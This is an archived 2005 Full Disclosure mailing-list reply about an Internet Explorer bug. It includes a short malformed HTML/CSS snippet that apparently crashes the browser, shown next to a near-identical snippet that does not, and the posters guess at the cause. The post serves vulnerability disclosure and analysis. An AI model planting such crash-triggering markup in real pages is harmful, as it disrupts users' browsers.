Full Disclosure mailing list archives

Previous By Date Next
Previous By Thread Next

Re: new IE bug (confirmed on ALL windows)

From: Petko Petkov <ppetkov () gnucitizen org>
Date: Tue, 01 Nov 2005 17:46:37 +0000
It is definitely a margin/padding problem. For example the following
code will crash it:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd";>
<STYLE>
.supp IMG {
VERTICAL-ALIGN: middle
}
</STYLE>
<P><A <It>.</P>
<DIV class="supp"> <A><IMG>

While this wont:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd";>
<STYLE>
.supp IMG {
VERTICAL-ALIGN: middle
}
</STYLE>
<P><A <It>.</P>
<DIV class="supp"><A><IMG>

It seams that the space makes a difference.

Peter Ferrie wrote:


I think I have found by chance this weekend a security bug,while browsing
the website news, within iexplorer on all windows versions.
I haven't enough knowledge (and don't want) into web browsers security to
conduct a full investigation, at least
   



Just the ".supp IMG" is enough to trigger it.
It looks like a property list with one entry too many.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Previous By Date Next
Previous By Thread Next

Current thread: